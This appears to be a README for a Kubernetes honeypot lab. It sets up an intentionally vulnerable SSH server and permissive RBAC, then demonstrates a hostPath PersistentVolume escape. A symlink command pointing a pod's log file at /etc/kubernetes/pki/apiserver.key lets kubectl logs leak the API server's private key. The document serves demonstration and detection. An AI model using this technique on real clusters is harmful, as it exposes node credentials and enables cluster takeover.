As a simple example attack tree, we will look at the attack path made possible if an attacker can create hostPath Persistent Volumes on a cluster, inspred by this blog post.

flowchart TD
    A[Access sensitive \ninfo on node] --> |*kubectl logs BAD_POD*| B{Escape from \ncontainer \non node}
    A --> more1[. . . . . . . .]
    B -->|*container can run as root*| C[Dangerous Security Context]
    B --> |*writeable hostPath to /var/log*| D{Pod created \nwith PVC referencing \nhostPath PV}
    D --> E[Credentials] 
    D --> |*pod can create Pods/PVs/PVCs*| F[Misconfigured RBAC]
    E --> |*leaked creds used*| G[Initial access to \npod in cluster]
    E --> more2[. . . . . . . .]

Spin up a kind cluster:

make cluster-up

Install Tetragon:

make tetragon-install

Set up a vcluster within our kind cluster where our honeypot workloads will run:

make vcluster-deploy

Install Kyverno and enforce baseline Pod Security Standards across the cluster:

make kyverno-install

Install an intentionally vulnerable SSH server:

make ssh-install

Deploy a local storage class for our vcluster:

make sc-deploy

Set up a potentially dangerous Cluster Role and Cluster Role Binding enabling a default Service Account to create pods, persistent volumes, and persistent volume claims:

make rbac

Set up port forwarding to our SSH server:

make port-forward

Switch to a new terminal tab and copy some scripts over to the SSH server. The password is root. This represents initial attacker access to our honeypot cluster, via credential compromise:

make copy-scripts

SSH into the server using the same password:

make ssh-connect

From within the SSH session, run a malicious script which will create a HostPath type PersistentVolume which will allow a pod to access /var/log on the host (inspred by this blog post), using the Python Kubernetes client library:

source priv-create.sh

Switch to a new terminal tab and observe the dangerous pod running:

kubectl get po

Let's show that an attacker could use this pod to read arbitrary information from a node in the cluster (in this case we will read the K8s API server's private key). Exec into the pod:

make exec

Run the following from within the pod to write a symlink to its 0.log file, which is followed by the Node upon kubectl logs PODNAME in order to read any file from the Node. cd into the directory /hostlogs/pods/vcluster_bad-pv-pod_......../bad-pv-pod/ and run the following:

rm 0.log && ln -s /etc/kubernetes/pki/apiserver.key 0.log

If the service account compromised by our attacker could inspect the logs of the containers it can create, the attacker could now run:

k logs bad-pv-pod --tail=-1

Note that we can see the first line of the private key.

make cluster-down

Certain Docker Desktop versions will lead to the following error

level=fatal msg="Load overlay network failed" error="program cil_from_overlay: replacing clsact qdisc for interface cilium_vxlan: operation not supported" interface=cilium_vxlan subsys=datapath-loader

downgrading or using an alternative (Orbstack) will solve this .